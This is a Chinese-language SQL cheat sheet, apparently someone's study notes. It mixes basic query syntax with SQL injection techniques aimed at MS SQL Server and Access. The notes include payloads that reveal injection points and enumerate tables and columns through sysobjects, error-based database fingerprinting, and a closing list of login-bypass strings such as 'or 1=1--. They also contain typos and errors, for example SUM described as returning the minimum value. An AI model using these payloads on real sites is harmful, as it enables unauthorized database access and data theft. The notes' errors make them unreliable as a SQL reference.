1、 Select:选取(查询列名) From: 子句指定了select语句中字段的来源 (表段) Where:查询条件(那个字段 通常用于缩小搜索范围 子句用于规定选择的标准。)WHERE 关键字无法与合计函数一起使用。 Like:在where下使用 意思是字段中包含 n%:N开头 %N:结尾 %N%:包含N NOT LIKE:不包含搜索项 ORDER BY 字段 升(默认)ASC/降DESC (语句用于根据指定的列对结果集进行排序。) UNION 操作符用于合并两个或多个 SELECT 语句的结果集。(相同的只显示一个) 语法 selec
2、t 字段 from 表段 […….] union select 字段 from 表段 […….] UNION ALL操作符用于合并两个或多个 SELECT 语句的结果集。(命令会列出所有的值) 函数 GROUP BY 语句用于结合合计函数,根据一个或多个列对结果集进行分组。 经常和 SUM()“相加函数”使用 分组相加 例如:select 字段1,SUM(字段2) from 表段 GREUP BY 字段1 “意思是把字段1分组 然后把字段1分好的各组的字段2的值相加” HAVING 子句 必须和GROUP BY语句一起使用 用于出GROUP BY结合后的值的内容 通常用于缩小结合
3、后搜索范围 例如:select 字段1,SUM(字段2) from 表段 GREUP BY 字段1 HAVING SUM(字段2)<>X “筛选出结合后字段2的值” Having 1=1—爆注入点 Group by字段名Having 1=1— 爆字段 爆字段 (select top 1 字段 from 表段 where ID=N)>1 爆多表语句(select top 1 name from (select top [n第N个表] id, name from sysobjects where xtype=char(85)) T order by id desc)>1 爆多字段名 (
4、select top 1 col_name(object_id([表名]),[第N个字段名]) from sysobjects)>1 LEN()函数返回文本字段中值的长度。 SUM() 函数返回数值列的总数(总额)。如select sum(字段) from 表段 “在标段中字段的重和” MID( 列名 ,n,N) 函数用于从文本字段中提取字符 Access:asc(字符) SQLServer:unicode(字) 作用:返回某字符的ASCII码 COUNT(列名) 函数返回指定列的值的数目 Exist(任何东东) 是否存在 存在为真 否则为假 Exist(select * f
5、rom 表名) “查询是否存在这个表“ Exist(select 列名 from 对的的表名) “查询是否存在这个列 “ (Select count(列名) form 对的的表名)>=1 “判断表段里的列段数是否>=1 查询是否存在这个列” (select top n len(列名) from 表名)>x 数字型原型:select * from 表名 where 字段=50(一个有注入点页面内部SQL代码) 字符型原型:select * from 表名 where 字段=’字符’ 搜索型原型:select * from 表名 where 字段 like ‘%关键字%’ 限制返回行
6、select top n [PERCENE]………(N代表返回行数 假如加PERCENE 代表%比) (1)数据记录筛选语句 sql="select * from 数据表 where 字段名=字段值 order by 字段名 [desc]" sql="select * from 数据表 where字段名 like ‘%字段值%’ order by 字段名 [desc]" sql="select top 10 * from数据表 where 字段名order by 字段名 [desc]" sql="select * from 数据表 where字段名 in (‘值1’,’值2
7、’,’值3’)” sql="select * from 数据表 where字段名 between 值1 and 值2” (2)更新数据记录语句 Sql=update 数据表 set 字段名= 字段值 where 条件表达式” Sql=update 数据表 set 字段1=值1,字段2=值2 ........ 字段N=值N where 条件表达式” (3)删除增长数据记录语句 Sql=”delete from 数据表 where 条件表达式” Sql=”delete from 数据表” (将数据表所有记录删除) Sql=”insert into 表段 values(字段1,字段2
8、……)” Sql=”insert into 数据表 (字段1,字段2,字段3,…..)values (值1,值2,值3,….)” Sql=”insert into 目的数据表 select * from 源数据表”(把源数据表的记录增长到目的数据表) (4)数据记录记录函数 AVG(字段名)得出一个表格平均值 COUNT(*|字段名) 对数据行数的记录或对某一栏有值的数据行数记录 MAZ(字段名) 取得一个表格栏最大的值 SUM(字段名) 取得一个表格栏最小的值 引用以上函数的方法: Sql=”select sum(字段名) as 别名 from 数据表 where 条件表达
9、式” Set re=conn.excute(sql) 用rs(“别名”) 获取统的计值,其他函数运用同上 (5)数据表的建立和删除 CREATE TABLE 数据表名称(字段1 类型 1(长度), 字段2 类型2(长度)…….) 以上语句用于新建一个数据表,例如:CREATE TABLE tab01(name varchar(50), datetime default now()) DROP TABLE 数据表名称 (永久性删除一个数据表) 判断数据库类型 反错 Microsoft ole db provider for sol server =====SOL Mic
10、rosoft jet database engine =========acc 2 And user >0(SOL外加可以爆用户名哦) Acc的表在msysobjects Sol的表在 sysobjects 说以语句 And (select coune(*) from sysobjects)>0 And (select coune(*) from msysobjects)>0 ‘or’=’or’ ‘or 1=1-- “or 1=1— Or 1=1— ‘or’a’=’a “or”a”=”a ‘)or(‘a’=’a






